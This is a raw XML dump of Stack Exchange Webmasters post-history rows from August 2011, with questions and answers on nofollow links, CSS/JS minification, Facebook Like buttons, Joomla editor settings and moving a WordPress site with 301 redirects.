  <row Id="44507" PostHistoryTypeId="2" PostId="18325" RevisionGUID="5dcbcbf4-2e45-4140-9194-ba4a8ebbc124" CreationDate="2011-08-16T19:24:44.103" UserId="8106" Text="You should use `rel=&quot;nofollow&quot;` on links that should not be rated for link popularity. You want this to be true for links that are not under your control. (i.e. Forum posts)&#xD;&#xA;&#xD;&#xA;It does not matter if it is a text or img link. But in both cases only valid for the surrounding anchor tag.&#xD;&#xA;&#xD;&#xA;Best example may be StackOverflow.com itself here:&#xD;&#xA;Have a look at these Wikipedia links in your answers here. StackOverflow uses `rel=&quot;nofollow&quot;` for it, because they cannot guarantee link quality for user generated content.&#xD;&#xA;&#xD;&#xA;And even more important: It reduces Spam-Posts, because these links do not &quot;count&quot;. So it does not make sense to spam for pushing link popularity." />
  <row Id="44508" PostHistoryTypeId="2" PostId="18321" RevisionGUID="082af6eb-8dc3-4e5b-bb25-1aa4d5a70563" CreationDate="2011-08-16T19:19:36.540" UserId="9630" UserDisplayName="diosney" Text="Does it make sense to have a `rel=&quot;nofollow&quot;` attribute in **img** tag?&#xD;&#xA;&#xD;&#xA;Do search engines' crawlers use this attribute in some way for calculating Page Rank Score?&#xD;&#xA;&#xD;&#xA;What is the practical sense for using it (if any)?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="44509" PostHistoryTypeId="1" PostId="18321" RevisionGUID="082af6eb-8dc3-4e5b-bb25-1aa4d5a70563" CreationDate="2011-08-16T19:19:36.540" UserId="9630" UserDisplayName="diosney" Text="rel=&quot;nofollow&quot; in img tags?" />
  <row Id="44510" PostHistoryTypeId="3" PostId="18321" RevisionGUID="082af6eb-8dc3-4e5b-bb25-1aa4d5a70563" CreationDate="2011-08-16T19:19:36.540" UserId="9630" UserDisplayName="diosney" Text="&lt;html&gt;&lt;seo&gt;&lt;search-engines&gt;" />
  <row Id="44511" PostHistoryTypeId="17" PostId="18326" RevisionGUID="ecc808ad-0628-42b1-a35a-dd05c5f7e112" CreationDate="2011-08-16T20:48:42.743" UserId="-1" Comment="from http://stackoverflow.com/questions/7083762/rel-nofollow-in-img-tags" Text="" />
  <row Id="44513" PostHistoryTypeId="5" PostId="18320" RevisionGUID="97847010-2ffd-4086-972a-f7e728b91a1f" CreationDate="2011-08-16T21:01:57.920" UserId="4502" Comment="added 39 characters in body" Text="[Posting for future reference]  &#xD;&#xA;It's still currently in dev status, but the Drupal &lt;a href=&quot;http://drupal.org/project/rooms&quot;&gt;Rooms&lt;/a&gt; project is headed this direction." />
  <row Id="44514" PostHistoryTypeId="2" PostId="18328" RevisionGUID="9cbceedd-e537-4e80-93f4-05167e484610" CreationDate="2011-08-16T21:16:58.753" UserId="9631" Text="I use it for all my sites and that works like a King.  The process involves Article directories, Web 2.0 sites, Social bookmarking sites, Micro blogs and doc share sites as well as a private network.&#xD;&#xA;&#xD;&#xA;It's not a linkwheel but a much different process that does not leave a footprint which makes a big difference.&#xD;&#xA;&#xD;&#xA;Post Panda, it is still a great service and the main one I use to rank my sites." />
  <row Id="44515" PostHistoryTypeId="2" PostId="18329" RevisionGUID="e055ec5d-3c62-438f-894a-a5cc00e0c484" CreationDate="2011-08-16T21:23:10.817" UserId="693" Text="I am working on several projects where I often have to make small changes. Now I know it is important to have a fast loading page, but as a developer it is also handy to keep organized by splitting files.&#xD;&#xA;&#xD;&#xA;On most of the pages I have a huge CSS file. I have my reset in there, the framework, the actual styling, everything. I have combined the files. And this can also be taken a step further by minifying it. Same goes for the JS. One file, fast load time.&#xD;&#xA;&#xD;&#xA;When I need to make changes after a few months, it's always a hassle to find out where the correct stuff is located in the huge file. It would be better if the files were split and imported.&#xD;&#xA;&#xD;&#xA;Now my question is which one do you prefer, or is there a method to have both." />
  <row Id="44516" PostHistoryTypeId="1" PostId="18329" RevisionGUID="e055ec5d-3c62-438f-894a-a5cc00e0c484" CreationDate="2011-08-16T21:23:10.817" UserId="693" Text="Optimizing for load time VS staying organized" />
  <row Id="44517" PostHistoryTypeId="3" PostId="18329" RevisionGUID="e055ec5d-3c62-438f-894a-a5cc00e0c484" CreationDate="2011-08-16T21:23:10.817" UserId="693" Text="&lt;web-development&gt;&lt;optimization&gt;" />
  <row Id="44518" PostHistoryTypeId="5" PostId="18216" RevisionGUID="f26e75d5-8b4b-4f9f-b850-fd868523592b" CreationDate="2011-08-16T21:33:35.397" UserId="539" Comment="added 16 characters in body" Text="For some time now, Microsoft has made available free, stripped-down, time-limited Virtual PC images for testing web apps in older versions of IE. The most recent version is here:&#xD;&#xA;&#xD;&#xA;- http://www.microsoft.com/download/en/details.aspx?id=11575&#xD;&#xA;&#xD;&#xA;But the XP VPC image has now expired (14th Aug 2011), meaning one can no longer test IE 6 using this method.&#xD;&#xA;&#xD;&#xA;1. Have Microsoft made updated XP VPC images available?&#xD;&#xA;2. If not, have they commented on the situation?&#xD;&#xA;3. Do they provide any alternative method to test web apps in IE 6?" />
  <row Id="44519" PostHistoryTypeId="25" PostId="18321" RevisionGUID="49ee114a-54c0-414b-a7fc-5f7a58fe53da" CreationDate="2011-08-16T21:34:47.040" Comment="http://twitter.com/#!/StackWebmasters/status/103580485858500608" />
  <row Id="44520" PostHistoryTypeId="2" PostId="18330" RevisionGUID="4d8b3101-65ed-41c1-850d-4980cc6aa2c9" CreationDate="2011-08-16T21:45:22.640" UserId="9099" Text="I've developed web sites for customers who chose to use these, but we didn't really see any changes in traffic or conversions after implementing them. I believe most people have gotten to the point where they just blocl out any non-relevant or non-pertinent information on a web page. Basically, if it isn't part of what they are looking for/at, then they tend to ignore it." />
  <row Id="44521" PostHistoryTypeId="2" PostId="18331" RevisionGUID="09bdc711-5b55-4172-b219-acfdf3d400c4" CreationDate="2011-08-16T21:53:13.163" UserId="9099" Text="I would recommend using a Wordpress blog. You can find a template that makes it look more like a web site and less like a blog. There are different ways that Wordpress can address each of your requirements:&#xD;&#xA;&#xD;&#xA;•an email alert system that notifies users when content about their favorite artists, venues, etc. is added &#xD;&#xA;&#xD;&#xA;This could be done through an RSS alert that comes with most Wordpress templates, but there are also widgets or plug-ins you can get that do this as well. Some of the better ones have a cost associated with them, but they are pretty easy to set up and usually come with very good documentation and support.&#xD;&#xA;&#xD;&#xA;•a log-in system for members.&#xD;&#xA;&#xD;&#xA;Most Wordpress templates will allow you to create user accounts for site visitors. You can define what permissions they have any what access they have. This is a default option with most WP templates.&#xD;&#xA;&#xD;&#xA;•Google map showing location of events of interest&#xD;&#xA;&#xD;&#xA;This can probably be accomplished with a plug-in as well. I am not personally familiar with one that uses Google specifically, but I am pretty sure there are some that will accomplish something similar using GPS." />
  <row Id="44522" PostHistoryTypeId="2" PostId="18332" RevisionGUID="f89bdaec-c019-4dbd-80de-3d3a03d60650" CreationDate="2011-08-16T22:01:22.270" UserId="4502" Text="Are you using a CMS? Many of them have plugins that will let you reference multiple CSS/JS files in your template or theme setup, but then automatically combine and minify them for you on render(&lt;a href=&quot;http://wordpress.org/extend/plugins/tags/minify&quot;&gt;WordPress&lt;/a&gt;; I think Drupal does this in core now with an option). Sometimes the function is built into a more general caching plugin.&#xD;&#xA;&#xD;&#xA;In Movable Type, I have CSS and JS resources stashed as several modules that are then included in an index template for output as a single static file.&#xD;&#xA;&#xD;&#xA;CSS preprocessors like &lt;a href=&quot;http://sass-lang.com/&quot;&gt;Sass&lt;/a&gt; can also usually do this for you, either by watching entire directories of source files, or with import functions." />
  <row Id="44524" PostHistoryTypeId="2" PostId="18333" RevisionGUID="faab257f-391b-46f5-a3da-081edd224b0b" CreationDate="2011-08-16T22:03:57.807" UserId="8147" Text="Just keep 2 versions of file&#xD;&#xA;&#xD;&#xA;- for developing&#xD;&#xA;- for production&#xD;&#xA;&#xD;&#xA;and minify your developing version everytime you update something" />
  <row Id="44525" PostHistoryTypeId="5" PostId="18332" RevisionGUID="4772a1b7-7cad-4160-bbd4-de0dbef28fc6" CreationDate="2011-08-16T22:10:18.103" UserId="4502" Comment="added 223 characters in body" Text="Are you using a CMS? Many of them have plugins that will let you reference multiple CSS/JS files in your template or theme setup, but then automatically combine and minify them for you on render(&lt;a href=&quot;http://wordpress.org/extend/plugins/tags/minify&quot;&gt;WordPress&lt;/a&gt;; I think Drupal does this in core now with an option). Sometimes the function is built into a more general caching plugin.&#xD;&#xA;&#xD;&#xA;In Movable Type, I have CSS and JS resources stashed as several modules that are then included in an index template for output as a single static file.&#xD;&#xA;&#xD;&#xA;CSS preprocessors like &lt;a href=&quot;http://sass-lang.com/&quot;&gt;Sass&lt;/a&gt; can also usually do this for you, either by watching entire directories of source files, or with import functions.&#xD;&#xA;&#xD;&#xA;Any development framework should have a mixin/module/whatevertheirtermis to do this, but there are also &lt;a href=&quot;http://code.google.com/p/minify/&quot;&gt;standalone implementations&lt;/a&gt; you can just bolt directly onto any site." />
  <row Id="44526" PostHistoryTypeId="2" PostId="18334" RevisionGUID="bdf868ac-20b4-472f-b1a5-2712ae8fabdd" CreationDate="2011-08-16T22:51:34.417" UserId="32" Text="**Why do some stores sell red hats and others blue hats? Because they all sell.**&#xD;&#xA;&#xD;&#xA;In my experience, &quot;language-agnostic&quot; hosting, aka, VPS hosting, isn't rare or hard to find by any means (unless you have unusual search terms). In the end, all of these companies are a business, out to make money.&#xD;&#xA;&#xD;&#xA;Some people prefer to have their own virtual box while others would rather have something as simple as possible. These reasons can range from cost, experience, features, ease of set-up/use, technical support, ToS, level of control, and project context." />
  <row Id="44530" PostHistoryTypeId="2" PostId="18336" RevisionGUID="612a51bc-3589-4d0d-bcfe-11f07b058c5b" CreationDate="2011-08-16T23:32:56.307" UserId="9634" Text="An SEO told me that he recently read of a Google SEO tool that shows actual QUESTIONS (rather than queries = Google keyword tool) that are typed into Google, based on the keywords one enters. Unfortunately, he could not remember the name of the tool nor where it was that linked to it. &#xD;&#xA;&#xD;&#xA;Since I run a Q&amp;A site, such a tool would be extremely valuable to me for keyword optimization. Does anyone know of such a tool, or anything that is similar? &#xD;&#xA;&#xD;&#xA;Thank you in advance. " />
  <row Id="44531" PostHistoryTypeId="1" PostId="18336" RevisionGUID="612a51bc-3589-4d0d-bcfe-11f07b058c5b" CreationDate="2011-08-16T23:32:56.307" UserId="9634" Text="Google SEO tool that shows search questions based on keywords?" />
  <row Id="44532" PostHistoryTypeId="3" PostId="18336" RevisionGUID="612a51bc-3589-4d0d-bcfe-11f07b058c5b" CreationDate="2011-08-16T23:32:56.307" UserId="9634" Text="&lt;seo&gt;&lt;google&gt;&lt;keywords&gt;" />
  <row Id="44533" PostHistoryTypeId="25" PostId="18329" RevisionGUID="027d72fa-5d79-419e-8f82-0eb022cfebbb" CreationDate="2011-08-17T00:34:47.370" Comment="http://twitter.com/#!/StackWebmasters/status/103625787818782722" />
  <row Id="44534" PostHistoryTypeId="2" PostId="18337" RevisionGUID="07f65278-79d4-4ab3-bd19-2169c5142b4b" CreationDate="2011-08-17T00:55:00.770" UserId="2898" Text="This person might have been referring to [WordTracker's Questions Tool][1].&#xD;&#xA;&#xD;&#xA;  [1]: https://freekeywords.wordtracker.com/questions" />
  <row Id="44535" PostHistoryTypeId="5" PostId="18258" RevisionGUID="a61cc76d-4bb9-4849-bcb3-a2002ebb4469" CreationDate="2011-08-17T01:14:36.357" UserId="4306" Comment="updated example for clarity" Text="You're correct in your understanding. The `rel=&quot;index&quot;` is designed to point bots to the index for the current document, which could be a category listing, a monthly archive, or the root of the site itself.&#xD;&#xA;&#xD;&#xA;If the page designated as the index is marked &quot;`noindex, follow&quot;`, it's because the website maintainer wants search engines to ignore the listing page, but to still follow all of the links it finds and index those.&#xD;&#xA;&#xD;&#xA;Why would they want this? Take your example of a product page, pointing to its index which is a product category listing page:&#xD;&#xA;&#xD;&#xA;    /product-category/example-product/&#xD;&#xA;           ^                ^&#xD;&#xA;     category index        page&#xD;&#xA;&#xD;&#xA;The product ***page*** is full of keyword-rich content and can have hand-crafted titles and descriptions. The ***category index***, on the other hand, is dynamic and hard to optimise for SEO. And even if a visitor lands on the page from a search engine, they won't necessarily have the correct context for the site, so they won't have the best user experience. So it makes sense not to index [`noindex`] the page.&#xD;&#xA;&#xD;&#xA;But the category index links to all of the other product pages in that category, so it's really valuable to have the search engine follow all the links [`follow`]. All the product pages that the bot finds will be marked `index` and optimised for SEO, so they should perform well in the search engines." />
  <row Id="44536" PostHistoryTypeId="2" PostId="18338" RevisionGUID="9e8a5a51-6a0b-4ae4-b703-389707896fbc" CreationDate="2011-08-17T01:44:37.940" UserId="9587" Text="I'm using Facebook Social Plugin on my website at &lt;a href=&quot;http://www.StudyHorror.com&quot;&gt;www.StudyHorror.com&lt;/a&gt;. But I don't know who came to my website and liked my individual pages. If you take a look at &lt;a href=&quot;http://www.studyhorror.com/writings/IELTS-Writing-Task-2-Dependence-On-Computer-Good-Or-Bad/9&quot;&gt;http://www.studyhorror.com/writings/IELTS-Writing-Task-2-Dependence-On-Computer-Good-Or-Bad/9&lt;/a&gt;, you can see a person has liked it but who?&#xD;&#xA;Thanks for your time!&#xD;&#xA;&#xD;&#xA;Kind Regards," />
  <row Id="44537" PostHistoryTypeId="1" PostId="18338" RevisionGUID="9e8a5a51-6a0b-4ae4-b703-389707896fbc" CreationDate="2011-08-17T01:44:37.940" UserId="9587" Text="How to know who Liked my pages on Facebook via www.StudyHorror.com" />
  <row Id="44538" PostHistoryTypeId="3" PostId="18338" RevisionGUID="9e8a5a51-6a0b-4ae4-b703-389707896fbc" CreationDate="2011-08-17T01:44:37.940" UserId="9587" Text="&lt;facebook-graph&gt;" />
  <row Id="44539" PostHistoryTypeId="5" PostId="18269" RevisionGUID="5d77b9e9-d8a7-49e9-a33b-13bc47dfbcdb" CreationDate="2011-08-17T02:40:13.657" UserId="7964" Comment="added 54 characters in body" Text="In my experience, this is more a balance between load speed and photo quality.  Given i'm a professional photographer myself, I understand this difficult challenge.&#xD;&#xA;&#xD;&#xA;I feel that the internet has gone a long way and there are now some great techniques and tools that you can utilize to avoid this issues. None of these techniques are germane or specific to a photography website.&#xD;&#xA;&#xD;&#xA;**Regarding your first question:** How much quality can I sacrifice against professionality?&#xD;&#xA;&#xD;&#xA;In my experience, generally you can find a balance by playing with the settings of a jpeg image. Settings of 70-85 quality will be sufficient. Additionally, utilizing 72 DPI is sufficient to minimize file size. &#xD;&#xA;&#xD;&#xA;**Your second question:** Does it indeed reflect on the photographer if the pictures are in low resolution or will people simply understand the nature of the web?&#xD;&#xA;&#xD;&#xA;Yes, any pixelation and/or poor quality of an image will reflect poorly if the photos aren't very high quality. A photographer's work is solely dependent on visual quality and attention to visual detail. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Techniques to consider**&#xD;&#xA;&#xD;&#xA;I would avoid extreme compression if you must. The internet provides lots of great techniques to improve load:&#xD;&#xA;&#xD;&#xA; - **Provide excellent user experience**: Providing your visitors rich feedback will reduce frustration and will keep them at your website longer. Consider the following UI related techniques:&#xD;&#xA;   - Utilizing a loader  &#xD;&#xA;   - Interactive image zoom makes a lot of sense.&#xD;&#xA; - **Dynamic Image Caching** - Utilize website software that generates different sizes of images for the user ahead of time. If you're using a LAMP stack PHP offers two great code libraries ([GD][1] &amp; [Imagemagick][2] and [lots of great scripts][3] that can do this for you.&#xD;&#xA;&#xD;&#xA; - **Utilize a CDN**: Consider architectural (server) setups. Like loading static images from a CDN or a different network altogether will provide you a quicker load time.&#xD;&#xA;&#xD;&#xA; - **Consider javascript lazy loading**: There are [lots][4] of javascript plugins that provide &quot;lazyloading&quot; images; that wait to load the image until it's absolutely necessary.&#xD;&#xA;&#xD;&#xA; - **Utilize a image resizing Service**: There's  a great thread right below this one about this very topic! http://webmasters.stackexchange.com/questions/18240/smush-it-or-similar-lossless-image-shrinking-with-api&#xD;&#xA;&#xD;&#xA; - **Finally, Review [YUI Performance guide][5]**: Yahoo offers an awesome guide on performance. Some of these tips are mentioned above already but this guide is pretty comprehensive.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.php.net/manual/en/intro.image.php&#xD;&#xA;  [2]: http://www.imagemagick.org/script/index.php&#xD;&#xA;  [3]: http://www.google.com/search?rlz=1C1CHFX_enUS437US437&amp;sourceid=chrome&amp;ie=UTF-8&amp;q=dynamic%20image%20resizer%20php&#xD;&#xA;  [4]: http://www.google.com/search?rlz=1C1CHFX_enUS437US437&amp;sourceid=chrome&amp;ie=UTF-8&amp;q=lazy%20loader%20javascript&#xD;&#xA;  [5]: http://developer.yahoo.com/performance/" />
  <row Id="44540" PostHistoryTypeId="25" PostId="18338" RevisionGUID="b37353d9-d3ad-4fd1-9ec6-5e162b2518f9" CreationDate="2011-08-17T03:34:48.247" Comment="http://twitter.com/#!/StackWebmasters/status/103671087509938176" />
  <row Id="44541" PostHistoryTypeId="17" PostId="18339" RevisionGUID="a90c03bf-ac4f-430a-bba6-fc3186cc3d56" CreationDate="2011-08-17T03:50:52.263" UserId="-1" Comment="from http://stackoverflow.com/questions/7075240/facebook-when-a-page-clicks-my-like-buton-the-count-does-not-increase" Text="" />
  <row Id="44542" PostHistoryTypeId="2" PostId="18339" RevisionGUID="de967964-70b2-4607-9d3c-24f926a140d7" CreationDate="2011-08-16T08:07:44.783" UserDisplayName="Cate" Text="I have a small Facebook problem.&#xD;&#xA;I have created a page for my business and placed a 'like' button at the top.&#xD;&#xA;When an individual clicks like the count increases but if another business page clicks like it does not update the count, even though I get notification that they have clicked.&#xD;&#xA;Is there any way I can add the two counts together to show a total amount of likes?&#xD;&#xA;&#xD;&#xA;Many thanks&#xD;&#xA;Cate" />
  <row Id="44543" PostHistoryTypeId="1" PostId="18339" RevisionGUID="de967964-70b2-4607-9d3c-24f926a140d7" CreationDate="2011-08-16T08:07:44.783" UserDisplayName="Cate" Text="Facebook: When a page clicks my 'like' buton, the count does not increase" />
  <row Id="44544" PostHistoryTypeId="3" PostId="18339" RevisionGUID="de967964-70b2-4607-9d3c-24f926a140d7" CreationDate="2011-08-16T08:07:44.783" UserDisplayName="Cate" Text="&lt;facebook&gt;&lt;button&gt;&lt;like&gt;" />
  <row Id="44545" PostHistoryTypeId="2" PostId="18340" RevisionGUID="7d66d72f-c627-4c6d-b1b9-d3e39f9d993f" CreationDate="2011-08-17T03:56:15.747" UserId="9640" Text="Https will work, but most browsers today will show a warning that the certificate does not match the website address. The warning message shows which website the certificate is issued for." />
  <row Id="44546" PostHistoryTypeId="2" PostId="18341" RevisionGUID="323ed06b-200f-45e3-a5ab-5468ff0f27e0" CreationDate="2011-08-17T04:02:07.483" UserId="9640" Text="You should disable inheritance. Look [here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bit.ly/pz4nQL" />
  <row Id="44550" PostHistoryTypeId="10" PostId="18308" RevisionGUID="9548c74d-ef73-4820-a1d9-3ba51f93d810" CreationDate="2011-08-17T04:36:35.947" UserId="1064" CloseReasonId="2" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="44551" PostHistoryTypeId="5" PostId="445" RevisionGUID="9f04a84d-5b20-40b6-8f31-45a7f41dbdad" CreationDate="2011-08-17T04:37:49.470" UserId="4306" Comment="Updated answer with more recent info" Text="Although there seems to be less difference now than there was in the past, hyphens are recommended if you want each of the terms in your URL recognized as an individual word.&#xD;&#xA;&#xD;&#xA;The reason for this is that search engines find it easier to treat hyphens as word separators, just as they are in the English language.  Underscores, however, are not normally used in English as word separators. In many cases it is desirable to see them as part of the characters before and after them, for instance when underscores are used in function names for programming, and other similar situations.  &#xD;&#xA;&#xD;&#xA;There are a couple cases where this might matter.  For one, if someone uses the full URL as the anchor text for a link, then the search engines will be able to pull out those terms as relevant words.  For another, it is possible that search engines use words in the URL as correlative factors to determine the relevance of those terms to the page content. &#xD;&#xA;&#xD;&#xA;Matt Cutts has &lt;a href=&quot;http://www.mattcutts.com/blog/dashes-vs-underscores/&quot;&gt;a dated piece&lt;/a&gt; that explains this, and there is a more recent &lt;a href=&quot;http://www.youtube.com/user/GoogleWebmasterHelp&quot;&gt;Google Webmaster Help&lt;/a&gt; video from August 2011 saying that &lt;a href=&quot;http://www.youtube.com/watch?v=AQcSFsQyct8&quot;&gt;Google still does not treat underscores as word separators&lt;/a&gt;. You may as well make life as easy as possible for the search engines, for the same reason that you give them valid HTML.  &#xD;&#xA;&#xD;&#xA;If you are starting a new site, you are definitely better off using dashes." />
  <row Id="44552" PostHistoryTypeId="24" PostId="445" RevisionGUID="9f04a84d-5b20-40b6-8f31-45a7f41dbdad" CreationDate="2011-08-17T04:37:49.470" Comment="Proposed by 4306 approved by 1064 edit id of 492" />
  <row Id="44554" PostHistoryTypeId="2" PostId="18342" RevisionGUID="b923cc10-54f4-4d31-8c65-d76a6d9ef8e2" CreationDate="2011-08-17T06:08:10.663" UserId="5026" Text="If I create a new article in Joomla 1.5.22, and insert some Youtube video embed code (iframe etc) into the article, then press Apply in the HTML editor popup, I get a message like &quot;article text cannot be empty:.&#xD;&#xA;&#xD;&#xA;If I include some paragraph text with the Youtube code, the paragraph is saved and the Youtube code is removed.&#xD;&#xA;&#xD;&#xA;Why does this occur?  How do I prevent it?" />
  <row Id="44555" PostHistoryTypeId="1" PostId="18342" RevisionGUID="b923cc10-54f4-4d31-8c65-d76a6d9ef8e2" CreationDate="2011-08-17T06:08:10.663" UserId="5026" Text="Joomla 1.5.22 stripping html code from article html editor" />
  <row Id="44556" PostHistoryTypeId="3" PostId="18342" RevisionGUID="b923cc10-54f4-4d31-8c65-d76a6d9ef8e2" CreationDate="2011-08-17T06:08:10.663" UserId="5026" Text="&lt;joomla&gt;" />
  <row Id="44557" PostHistoryTypeId="2" PostId="18343" RevisionGUID="c2c62989-c537-480e-8e0a-e036b4daaf76" CreationDate="2011-08-17T06:09:06.857" UserId="9644" Text="I'd like to move a WP from a subdomain to its own without loosing the pagerank achieved by that subdomain, what are the best steps in order to do this properly? Especially how do I set the redirects properly?&#xD;&#xA;Many thanks in advanace!" />
  <row Id="44558" PostHistoryTypeId="1" PostId="18343" RevisionGUID="c2c62989-c537-480e-8e0a-e036b4daaf76" CreationDate="2011-08-17T06:09:06.857" UserId="9644" Text="Moving a Wordpress installation from a subdomain to its own domain without loosing pagerank" />
  <row Id="44559" PostHistoryTypeId="3" PostId="18343" RevisionGUID="c2c62989-c537-480e-8e0a-e036b4daaf76" CreationDate="2011-08-17T06:09:06.857" UserId="9644" Text="&lt;google&gt;&lt;wordpress&gt;&lt;pagerank&gt;&lt;subdomain&gt;" />
  <row Id="44560" PostHistoryTypeId="2" PostId="18344" RevisionGUID="ea3994b9-0f72-49b5-83d5-d74cff03e00e" CreationDate="2011-08-17T06:10:22.703" UserId="5026" Text="Fixed by turning off **code cleanup on save** in the TinyMCE plugin manager." />
  <row Id="44562" PostHistoryTypeId="25" PostId="18304" RevisionGUID="a8937eba-0ae8-4904-b907-ef6e5ee1b492" CreationDate="2011-08-17T06:34:48.780" Comment="http://twitter.com/#!/StackWebmasters/status/103716389935783936" />
  <row Id="44563" PostHistoryTypeId="2" PostId="18346" RevisionGUID="620f32c0-751c-494c-8e8d-d553244379b1" CreationDate="2011-08-17T06:52:13.867" UserId="8972" Text="Each site can have a name. For example, site x. Each page also can have a name (or a title) that should appear in `&lt;title&gt;` tag in the header. However, many websites out there use the combination `site name - page name` to provide the value for `&lt;title&gt;` tag. I find it a little far from being **semantic**. On the other hand, if you only include page title in `&lt;title&gt;` tag, search engines won't find your site by its name. For example, if your site's name is **[Thought Results][1]** and you don't include it in page titles, then if you search for **Thought Results**, you won't find your site in SERPs.&#xD;&#xA;&#xD;&#xA;Thus I'm searching for a mechanism to both include **site title** (not page title) in every page, and also only include **page title** in `&lt;title&gt;` tag to get more semantic results.&#xD;&#xA;&#xD;&#xA;Is there any way to achieve this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.thoughtresults.com" />
  <row Id="44564" PostHistoryTypeId="1" PostId="18346" RevisionGUID="620f32c0-751c-494c-8e8d-d553244379b1" CreationDate="2011-08-17T06:52:13.867" UserId="8972" Text="A mechanism to include site title in every page, but not in &lt;title&gt; element" />
  <row Id="44565" PostHistoryTypeId="3" PostId="18346" RevisionGUID="620f32c0-751c-494c-8e8d-d553244379b1" CreationDate="2011-08-17T06:52:13.867" UserId="8972" Text="&lt;seo&gt;&lt;websites&gt;&lt;page&gt;" />
  <row Id="44566" PostHistoryTypeId="2" PostId="18347" RevisionGUID="1110c1a8-5429-40e3-a391-8d100d8c3f3c" CreationDate="2011-08-17T06:56:28.960" UserId="562" Text="I'm starting a simple, static site with iWeb (latest version) and was wondering if there are any built-in or available resources for making the site compatible with mobile devices?" />
  <row Id="44567" PostHistoryTypeId="1" PostId="18347" RevisionGUID="1110c1a8-5429-40e3-a391-8d100d8c3f3c" CreationDate="2011-08-17T06:56:28.960" UserId="562" Text="Creating an iPhone compatible website with iWeb" />
  <row Id="44568" PostHistoryTypeId="3" PostId="18347" RevisionGUID="1110c1a8-5429-40e3-a391-8d100d8c3f3c" CreationDate="2011-08-17T06:56:28.960" UserId="562" Text="&lt;iphone&gt;" />
  <row Id="44569" PostHistoryTypeId="2" PostId="18348" RevisionGUID="f9b27662-ebb7-4b74-b821-9636b189b77c" CreationDate="2011-08-17T06:59:39.927" UserId="7198" Text="Follow [these instructions on moving WordPress](http://yoast.com/move-wordpress-blog-domain-10-steps/), but use the root domain for references to your old subdomain instead of the /blog/ directory (I've made this change for you in the steps below):&#xD;&#xA;&#xD;&#xA;1. Create a robots.txt file in the root directory of the new domain with the following contents:&#xD;&#xA;&#xD;&#xA;        User-agent: *  &#xD;&#xA;        Disallow: /&#xD;&#xA;&#xD;&#xA;2. Copy the database and files to the new domain.&#xD;&#xA;3. Edit wp-config.php to have the new database settings, and add the following lines, replacing example.com with the new domain:&#xD;&#xA;&#xD;&#xA;        define('WP_SITEURL', 'http://www.example.com');  &#xD;&#xA;        define('WP_HOME', 'http://www.example.com');&#xD;&#xA;&#xD;&#xA;4. Now set up your blog install with the same settings as on the old domain. (If you have a caching plugin installed, delete your cache files.)&#xD;&#xA;5. Install the [Search and Replace](http://wordpress.org/extend/plugins/search-and-replace/) plugin, and do a search and replace for your old URL to change it to your new URL.&#xD;&#xA;6. Once you're done moving WordPress and you've checked everything works twice, remove the robots.txt file.&#xD;&#xA;7. On your old blog, add the following line to your Apache .htaccess or vhost-config:&#xD;&#xA;&#xD;&#xA;        Redirect 301 / http://www.newdomain.com/&#xD;&#xA;8. Remove the old blog code and database.&#xD;&#xA;9. Change your FeedBurner account, if you have one, to pick up the correct feed.&#xD;&#xA;&#xD;&#xA;To keep your PageRank, the crucial step is step 7, which redirects requests for your old blog pages to the new site. &#xD;&#xA;&#xD;&#xA;Also see [Moving WordPress](http://codex.wordpress.org/Moving_WordPress) and [Changing The Site URL](http://codex.wordpress.org/Changing_The_Site_URL).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="44570" PostHistoryTypeId="2" PostId="18349" RevisionGUID="bb6d37b9-c514-44f7-938d-e38c9d915b4b" CreationDate="2011-08-17T07:09:07.950" UserId="7198" Text="Just use `Page title - site title` instead of the other way around (like this site and millions of others do). It makes listings in search results for the page title keywords much more meaningful, and still allows your pages to rank for your site's title." />
  <row Id="44571" PostHistoryTypeId="2" PostId="18350" RevisionGUID="15e486f6-fd91-4253-b99f-cd480566dcad" CreationDate="2011-08-17T07:14:07.043" UserId="7198" Text="A good first step is to run your page URL through [Facebook's debugger.](http://developers.facebook.com/tools/debug) It should report any problems with your page that might cause issues with Like buttons. " />
  <row Id="44572" PostHistoryTypeId="5" PostId="18348" RevisionGUID="56b125a5-b7bf-4a9c-a29c-862377232cba" CreationDate="2011-08-17T07:45:53.223" UserId="7198" Comment="added 11 characters in body" Text="Follow [these instructions on moving WordPress](http://yoast.com/move-wordpress-blog-domain-10-steps/), but use the root domain for references to your old subdomain instead of the /blog/ directory (I've made this change for you in the steps below):&#xD;&#xA;&#xD;&#xA;1. Create a robots.txt file in the root directory of the new domain with the following contents:&#xD;&#xA;&#xD;&#xA;        User-agent: *  &#xD;&#xA;        Disallow: /&#xD;&#xA;&#xD;&#xA;2. Copy the database and files to the new domain.&#xD;&#xA;3. Edit wp-config.php to have the new database settings, and add the following lines, replacing example.com with the new domain:&#xD;&#xA;&#xD;&#xA;        define('WP_SITEURL', 'http://www.example.com');  &#xD;&#xA;        define('WP_HOME', 'http://www.example.com');&#xD;&#xA;&#xD;&#xA;4. Now set up your blog install with the same settings as on the old domain. (If you have a caching plugin installed, delete your cache files.)&#xD;&#xA;5. Install the [Search and Replace](http://wordpress.org/extend/plugins/search-and-replace/) plugin, and do a search and replace for your old URL to change it to your new URL.&#xD;&#xA;6. Once you're done moving WordPress and you've checked everything works twice, remove the robots.txt file.&#xD;&#xA;7. On your old blog, add the following line to the top of your Apache .htaccess or vhost-config:&#xD;&#xA;&#xD;&#xA;        Redirect 301 / http://www.newdomain.com/&#xD;&#xA;8. Remove the old blog code and database.&#xD;&#xA;9. Change your FeedBurner account, if you have one, to pick up the correct feed.&#xD;&#xA;&#xD;&#xA;To keep your PageRank, the crucial step is step 7, which redirects requests for your old blog pages to the new site. &#xD;&#xA;&#xD;&#xA;Also see [Moving WordPress](http://codex.wordpress.org/Moving_WordPress) and [Changing The Site URL](http://codex.wordpress.org/Changing_The_Site_URL).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
